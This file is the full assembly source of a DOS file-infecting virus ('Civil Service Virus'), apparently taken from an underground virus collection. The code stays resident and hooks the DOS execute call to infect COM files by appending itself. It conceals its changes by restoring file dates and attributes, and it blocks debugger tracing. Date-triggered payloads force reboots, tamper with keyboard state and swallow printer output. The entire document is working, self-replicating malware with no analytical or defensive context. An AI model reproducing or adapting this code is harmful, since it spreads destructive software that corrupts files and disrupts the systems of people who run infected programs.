Underground/Underground CD1.iso/virii/zrodla/c/civil.asm

Assembly Source File | 1998-01-14 | 10.2 KB | 570 lines

; Civil Service Virus by Marvin Giskard

; Turbo Assember version 2



Exec        equ  4B00h

OpenFile    equ  3D02h

ReadFile    equ  3Fh

WriteFile   equ  40h

CloseFile   equ  3Eh

EXESign     equ  5A4Dh

SeekTop     equ  4200h

SeekEnd     equ  4202h

GetAttr     equ  4300h

SetAttr     equ  4301h

GetDT       equ  5700h

SetDT       equ  5701h

MinSize     equ  4h

MaxSize     equ  0FBF0h

GetDate     equ  2Bh

FileID      equ  2206h

MemID       equ  4246h     ;     'FB'



.MODEL SMALL

.CODE

ORG 0100h



Start:

  XOR AX, AX

  MOV DS, AX

  CMP WORD PTR DS:01ACh, MemID

  JNE Instl2

  CMP WORD PTR DS:01AEh, FileID

  JE NoInstl2



Instl2:

  CALL InstallInMem



NoInstl2:

  PUSH CS

  PUSH CS

  POP DS

  POP ES

  MOV DX, OFFSET FileName

  MOV AX, 4B22h

  INT 21h

  INT 20h



FileName: DB 'TEST.COM',0



AddCode:

  JMP OverData



  ; Addcode's data



Buf:          DB 0, 0                   ; Miscellaneous Buf

JumpCode:     DB 0E9h, 00h, 00h         ; Code to be placed at front of file

FSize:        DW 0                      ; File size

Attr:         DB 0                      ; Attr of file being infected

FDateTime:    DD 0                      ; Time and date of file being infected

Generation:   DW 0                      ; Generation counter

Infected:     DW 0                      ; Number of files infected

Old24Handler: DD 0                      ; Old INT 24h handler

Acts:         DB 0                      ; Flag to stop reentry

Path:         DD 0



OverData:

  MOV WORD PTR DS:0100h, 0000h

  MOV BYTE PTR DS:0102h, 00h



  ; Check if handler already installed by examining 2 words in vector

  ; table entry of INT 6Bh



  XOR AX, AX

  MOV DS, AX

  CMP WORD PTR DS:01ACh, MemID

  JNE Instl

  CMP WORD PTR DS:01AEh, FileID

  JE AlreadyInstalled



Instl:

  CALL InstallInMem

  JMP ALreadyInstalled



InstallInMem:

  MOV WORD PTR DS:01ACh, MemID

  MOV WORD PTR DS:01AEh, FileID



  PUSH CS

  POP DS



  ; Get INT 21h handler in ES:BX.



  MOV AX, 3521h

  INT 21h

DoOldOfs:

  MOV SI, OFFSET DoOld+1

  MOV [SI], BX

  MOV [SI+2], ES

  PUSH ES

  PUSH BX

  POP DX

  POP DS

  MOV AX, 256Dh

  INT 21h



  ; This label is here so that the infect part will be able to calculate

  ; source offset of Int21Handler and then place it in here before writing

  ; it to disk. The OFFSET AddCode will be replaced by the right number.



Source:

  MOV SI, OFFSET AddCode



  ; Destination e.g. Where program will be placed are now calculated by

  ; taking the amount of memory in $0040:$0013. Multiply by 16 to get

  ; segment of memory end and then subract amount of blocks needed.

  ; This is where routine will be placed.



  MOV AX, 0040h

  MOV DS, AX

  MOV AX, WORD PTR DS:0013h

  MOV CL, 6

  SHL AX, CL



  ; Set dest. segment 2048 pages (32 K) below top of memory.



  SUB AX, 2048

  MOV ES, AX

  XOR DI, DI

  MOV CX, OFFSET AddCodeEnd - OFFSET AddCode

  PUSH CS

  POP DS

  REP MOVSB



  ; Set INT 21h Handler to point to our routine



  MOV AX, 2521h

  PUSH ES

  POP DS

  MOV DX, OFFSET Int21Handler - OFFSET AddCode

  INT 21h



  MOV BYTE PTR DS:[OFFSET Acts-OFFSET AddCode], 0



  RET



AlreadyInstalled:



  Call DisTrace



  ; Code to jump back to 0100h



  PUSH CS

  PUSH CS

  POP DS

  POP ES

  MOV AX, 0100h

  JMP AX



  ; Disable tracing and breakpoint setting for debuggers.



DisTrace:

  MOV AX, 0F000h

  MOV DS, AX

  MOV DX, 0FFF0h

  MOV AX, 2501h

  INT 21h

  MOV AX, 2503h

  INT 21h

  RET



Int21Handler:

  PUSH AX

  PUSH BX

  PUSH CX

  PUSH DX

  PUSH DI

  PUSH SI

  PUSH ES

  PUSH DS



  ; Install devious act if seed is right



  MOV AH, 2Ah

  INT 6Dh

  CMP CX, 1991

  JB Act

  CMP DL, 22

  JNE Timer

  DB 0EAh, 0F0h, 0FFh, 00h, 0F0h



Timer:

  MOV AH, 25h

  CMP DL, 29

  JE Inst1

  CMP DL, 1

  JE Inst2

  CMP DL, 10

  JE Inst3

  CMP DL, 16

  JE Inst4

  JMP Act

Inst1:

  MOV AL, 13h

  JMP SetVec

Inst2:

  MOV AL, 16h

  JMP SetVec

Inst3:

  MOV AL, 0Dh

  JMP SetVec

Inst4:

  MOV AL, 10h



SetVec:

  PUSH CS

  POP DS

  MOV DX, OFFSET Int24Handler - OFFSET AddCode

  INT 6Dh



Act:

  MOV AX, 0040h

  MOV DS, AX

  MOV AX, WORD PTR DS:006Eh



  PUSH CS

  POP DS

  MOV BH, DS:[OFFSET Acts - OFFSET AddCode]

  CMP BH, 3

  JE NoAct



  CMP AX, 22

  JE NoAct



  MOV BYTE PTR [SI], 3

  MOV AX, 3509h

  INT 21h

  PUSH ES

  PUSH BX

  POP DX

  POP DS

  MOV AX, 256Ah

  INT 21h

  PUSH CS

  POP DS

  MOV DX, OFFSET Int9Handler - OFFSET AddCode

  MOV AX, 2509h

  INT 21h



  MOV AX, 3517h

  INT 21h

  PUSH ES

  PUSH BX

  POP DX

  POP DS

  MOV AX, 256Ch

  INT 21h

  PUSH CS

  POP DS

  MOV DX, OFFSET Int17Handler - OFFSET AddCode

  MOV AX, 2517h

  INT 21h



NoAct:



  POP DS

  POP ES

  POP SI

  POP DI

  POP DX

  POP CX

  POP BX

  POP AX



  CMP AH, 4Bh

  JE Infect

DoOld:

  ;  This next bytes represent a JMP 0000h:0000h. The 0's will be replaced

  ;  by the address of the old 21 handler.

  DB 0EAh

  DD 0



DoOldPop:

  POP ES

  POP DS

  POP BP

  POP DI

  POP SI

  POP DX

  POP CX

  POP BX

  POP AX

  JMP DoOld



CloseQuit:



  MOV AX, 2524h

  MOV SI, OFFSET Old24Handler-OFFSET AddCode

  MOV DX, CS:[SI]

  MOV DS, CS:[SI+2]

  INT 21h



  PUSH CS

  POP DS

  MOV SI, OFFSET FDateTime-OFFSET AddCode

  MOV CX, DS:[SI]

  MOV DX, DS:[SI+2]

  MOV AX, SetDT

  INT 21h



  MOV AH, CloseFile

  INT 21h



  MOV AX, SetAttr

  MOV CL, DS:[OFFSET Attr - OFFSET AddCode]

  XOR CH, CH

  MOV SI, OFFSET Path-OFFSET AddCode

  MOV DX, DS:[SI]

  MOV DS, DS:[SI+2]



  INT 21h



  JMP DoOldPop



Infect:

  PUSH AX

  PUSH BX

  PUSH CX

  PUSH DX

  PUSH SI

  PUSH DI

  PUSH BP

  PUSH DS

  PUSH ES



  ; Get file's attr



  MOV AX, GetAttr

  INT 21h

  JC CloseQuit

  MOV CS:[OFFSET Attr-OFFSET AddCode], CL



  MOV SI, OFFSET Path-OFFSET AddCode

  MOV CS:[SI], DX

  MOV CS:[SI+2], DS



  ; Get/Set INT 24h handler



  MOV AX, 3524h

  INT 21h

  MOV SI, OFFSET Old24Handler-OFFSET AddCode

  MOV CS:[SI], BX

  MOV CS:[SI+2], ES

  MOV AX, 2524h

  PUSH CS

  POP DS

  MOV DX, OFFSET Int24Handler-OFFSET AddCode

  INT 21h



  ; Set new attribute



  MOV SI, OFFSET Path-OFFSET AddCode

  MOV DX, CS:[SI]

  MOV DS, CS:[SI+2]



  MOV AX, SetAttr

  MOV CX, 0020h

  INT 21h

  JC CloseQuitFoot



  MOV AX, OpenFile

  INT 21h

  JC CloseQuitFoot

  MOV BX, AX



  ; Get file's time and date and store



  MOV AX, GetDT

  INT 21h

  JC CloseQuitFoot

  PUSH CS

  POP DS

  MOV SI, OFFSET FDateTime-OFFSET AddCode

  MOV DS:[SI], CX

  MOV DS:[SI+2], DX



  ; Read first two bytes of file



  MOV AH, ReadFile

  MOV CX, 2

  MOV DX, OFFSET OverData+4-OFFSET AddCode

  INT 21h

  JC CloseQuitFoot



  ; Check if fisrt two bytes identify the file as an EXE file

  ; If so, then don't infect the file



  CMP DS:[OFFSET OverData+4-OFFSET AddCode], EXESign

  JE CloseQuitFoot



  ; Read next byte



  MOV AH, ReadFile

  MOV CX, 1

  MOV DX, OFFSET OverData+10-OFFSET AddCode

  INT 21h

  JC CloseQuitFoot



  ; Get file size



  MOV AX, SeekEnd

  XOR CX, CX

  XOR DX, DX

  INT 21h

  JC CloseQuitFoot



  ; Save filesize and calculate jump offset



  CMP DX, 0

  JG CloseQuitFoot

  CMP AX, MinSize

  JB CloseQuitFoot

  CMP AX, MaxSize

  JA CloseQuitFoot

  MOV DS:[OFFSET FSize-OFFSET AddCode], AX

  MOV CX, AX

  SUB AX, 03h

  MOV DS:[OFFSET JumpCode+1-OFFSET AddCode], AX



  ; Calculate and store source



  ADD CX, 0100h

  MOV [OFFSET Source+1-OFFSET AddCode], CX



  ADD CX, OFFSET DoOld-OFFSET AddCode

  MOV [OFFSET DoOldOfs-OFFSET AddCode+1], CX



  JMP OverFoot1



CloseQuitFoot:

  JMP CloseQuit



OverFoot1:

  ; Read last 2 bytes to see if it is already infected



  MOV AX, SeekTop

  XOR CX, CX

  MOV DX, [OFFSET FSize-OFFSET AddCode]

  SUB DX, 2

  INT 21h



  MOV AH, ReadFile

  MOV CX, 2

  MOV DX, OFFSET Buf-OFFSET AddCode

  INT 21h



  CMP [OFFSET Buf-OFFSET AddCode], FileID

  JE CloseQuitFoot



  ; Prepare to write new jump



  MOV AX, SeekTop

  XOR CX, CX

  XOR DX, DX

  INT 21h



  ; Write new jump



  MOV AH, WriteFile

  MOV CX, 3

  MOV DX, OFFSET JumpCode-OFFSET AddCode

  INT 21h



  ; Write addcode

  ; Code to restore first three bytes is at start of addcode

  ; Int21 handler is also included

  ; Generation counter is included in data

  ; ID is at the end of addcode



  MOV AX, SeekEnd

  XOR CX, CX

  XOR DX, DX

  INT 21h



  ; Increase generation counter before writing it to the new file



  INC WORD PTR [OFFSET Generation - OFFSET AddCode]



  ; Set files infected to 0, for child hasn't infected anyone.



  MOV SI, OFFSET Infected - OFFSET AddCode

  PUSH WORD PTR [SI]

  MOV WORD PTR [SI], 0



  MOV AH, WriteFile

  MOV DX, OFFSET AddCode - OFFSET AddCode      ; 0000

  MOV CX, OFFSET AddCodeEnd - OFFSET AddCode

  INT 21h



  ; Decrease counter again, cause all his children should have the same

  ; generation count



  DEC WORD PTR [OFFSET Generation - OFFSET AddCode]



  ; Pop number of files infected and incread



  POP AX

  INC AX

  MOV WORD PTR [OFFSET Infected - OFFSET AddCode], AX



  JMP CloseQuit



Int24Handler:

  XOR AL, AL

  IRET



Int9Handler:

  PUSH AX

  PUSH CX

  PUSH DS



  MOV AX, 0040h

  MOV DS, AX

  MOV AH, BYTE PTR DS:006Ch

  CMP AH, 18

  JA NoChange

  MOV CL, 4

  SHL AH, CL

  SHR AH, CL

  MOV BYTE PTR DS:0017h, AH



NoChange:

  POP DS

  POP CX

  POP AX

  INT 6Ah

  IRET



Int17Handler:

  CMP AH, 00h

  JNE DoOld17

  PUSH DS

  PUSH AX

  PUSH BX

  MOV BX, 0040h

  MOV DS, BX

  MOV BH, BYTE PTR DS:006Ch

  SHR BH, 1

  SHR BH, 1

  CMP BH, 22h

  JE Ignore17

  POP BX

  POP AX

  POP DS



DoOld17:

  INT 6Ch

  IRET



Ignore17:

  POP BX

  POP AX

  POP DS

  IRET



  DW FileID



AddCodeEnd:



END Start